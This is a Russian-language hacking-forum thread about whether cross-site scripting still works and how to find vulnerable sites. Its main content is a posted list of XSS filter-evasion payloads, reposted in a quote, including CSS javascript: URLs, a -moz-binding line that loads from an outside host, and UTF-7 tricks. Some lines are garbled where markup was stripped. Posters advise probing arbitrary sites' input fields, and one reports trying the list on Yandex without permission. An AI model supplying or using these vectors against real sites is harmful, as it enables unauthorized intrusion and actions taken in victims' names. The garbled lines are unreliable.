XSS. И снова здравствуйте

[hells_bells]

Приветствую в моей первой теме!

Если быть кратким, то меня интересует парочка вопросов касательно XSS уязвимости:

- Видел на форуме много тем о XSS, но большинство из них были открыты очень давно(по меркам Web`а), как вы считаете - является ли XSS уязвимость актуальной и по сей день или нет?

- Если же XSS актуальна, можете ли вы поделиться своим опытом поиска уязвимых сайтов?(поверьте, прежде чем задавать этот вопрос сюда, сам перелопатил кучу гору сайтов - безуспешно)

[{iddqd}]

Конечно! таких сайтов дохуя!

Ищи на сайтах формы для ввода каких-то данных и потом ищи их отображение на странице. Лезь в исходный код страницы и ищи как в html выводятся введенные тобой данные.

Если говорить о пассивных xss, то в адресной строке браузера должно быть нечто вроде http://site.com/?search="..."

в качестве параметра подставляй


Code:
alert()

или сначала тег закрывай "/> а потом алерт()

Active XSS часто встречаются на сайтах, где есть регистрация и личный кабинет. В разные поля можно подставлять алерт, некоторые поля могут выводиться без фильтрации.

[tester211]

Это наверное самая интересная штука, которая позволяет что то воровать

[brown]

Где-то слышал что сейчас браузеры лочат ХХС

[Logol]

brown said:
↑ (https://antichat.live/posts/4132299/)
Где-то слышал что сейчас браузеры лочат ХХС


они не могу его блочить так как для выполнения xss нужен js А БЕЗ сайты не работают)

[Logol]

мой маленький набор


Code:
'';!--"=&{()}

xxs link

or Chrome loves to replace missing quotes for you... if you ever get stuck just leave them off and Chrome will put them in the right place and fix your missing quotes on a URL or script.

xxs link
alert("XSS")">

perl -e 'print "";' > out

alert("XSS");//

alert("XSS");

li {list-style-image: url("javascript:alert('XSS')");}XSS

; REL=stylesheet">
BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}
@im\port'\ja\vasc\ript:alert("XSS")';

alert('XSS');
.XSS{background-image:url("javascript:alert('XSS')");}
BODY{background:url("javascript:alert('XSS')")}

¼script¾alert(¢XSS¢)¼/script¾

cript:alert('XSS')">

cript:alert('XSS')">

alert("XSS")'); ?>
alert('XSS')">
+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-

[StarkMP]

Logol said:
↑ (https://antichat.live/posts/4132392/)
мой маленький набор

Code:
'';!--"=&{()}

xxs link

or Chrome loves to replace missing quotes for you... if you ever get stuck just leave them off and Chrome will put them in the right place and fix your missing quotes on a URL or script.

xxs link
alert("XSS")">

perl -e 'print "";' > out

alert("XSS");//

alert("XSS");

li {list-style-image: url("javascript:alert('XSS')");}XSS

; REL=stylesheet">
BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}
@im\port'\ja\vasc\ript:alert("XSS")';

alert('XSS');
.XSS{background-image:url("javascript:alert('XSS')");}
BODY{background:url("javascript:alert('XSS')")}

¼script¾alert(¢XSS¢)¼/script¾

cript:alert('XSS')">

cript:alert('XSS')">

alert("XSS")'); ?>
alert('XSS')">
+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-



Привет. И все вот эти строчки тестировать на разных сайтах? Если вывело уведомление, значит уязвимость есть?

[karkajoi]

StarkMP said:
↑ (https://antichat.live/posts/4138205/)
Привет. И все вот эти строчки тестировать на разных сайтах? Если вывело уведомление, значит уязвимость есть?


Да, хотя вектора можно ещё придумать

[StarkMP]

karkajoi said:
↑ (https://antichat.live/posts/4138217/)
Да, хотя вектора можно ещё придумать


Я по приколу вставил это в сайт Яндекса, высветилось сообщение 1 раз. Неужели это уязвимость? Как-то даже не верится...

[karkajoi]

StarkMP said:
↑ (https://antichat.live/posts/4138218/)
Я по приколу вставил это в сайт Яндекса, высветилось сообщение 1 раз. Неужели это уязвимость? Как-то даже не верится...


Возможно, на mail.ru раньше было много, но эксплуатировать сложновато стало, браузеры блочат, надо искать новые вектора и обходы.

[Logol]

я забросил это дело.

т.к. толку от них мало стало если даже и найдешь.

если есть желание и прямые руки, можно набрать очень большую базу кодов.

Найти можно, но вот правильно ее использовать или заточить под твои нужны или мысли это уже сложнее.

[M_script]

Logol said:
↑ (https://antichat.live/posts/4143845/)
т.к. толку от них мало стало если даже и найдешь.


Почему мало? С ними можно сделать что угодно от имени юзера.


Logol said:
↑ (https://antichat.live/posts/4132390/)
они не могу его блочить так как для выполнения xss нужен js А БЕЗ сайты не работают)


Могут и давно делают это. Если браузер видит, что юзер отправил какой-то JS-код и этот код появился в ответе сервера, его заблокируют.

[Logol]

M_script said:
↑ (https://antichat.live/posts/4143858/)
Почему мало? С ними можно сделать что угодно от имени юзера.


Там где мне нужно xss уже не работает) А если что и работает то смысла нет)))))))))

Все пофиксили уже почтовики)

[M_script]

Logol said:
↑ (https://antichat.live/posts/4143870/)
Все пофиксили уже почтовики)


Люди постоянно находят новые баги. Сливают базы крупнейших сайтов. А ты говоришь, что почтовики пофиксили все XSS. Не верю. Значит плохо искал.

[t0ma5]

фундаментальные уязвимости внедрения кода( привет buffer overflow ) никогда не исчезнут, они были есть и будут, не взирая на стек технологий, протокол и способы обмена информацией, они **** вота

вопрос сколько тебе не жалко времени на всё это)

[Logol]

t0ma5 said:
↑ (https://antichat.live/posts/4143887/)
фундаментальные уязвимости внедрения кода( привет buffer overflow ) никогда не исчезнут, они были есть и будут, не взирая на стек технологий, протокол и способы обмена информацией, они **** вота
вопрос сколько тебе не жалко времени на всё это)


Вот это да! согласен на все 10000%

Времени очень много занимает это все.

Для моих нужд - это того не стоит теперь)

А для тех кто любит и нравиться ковыряться всегда будет успех)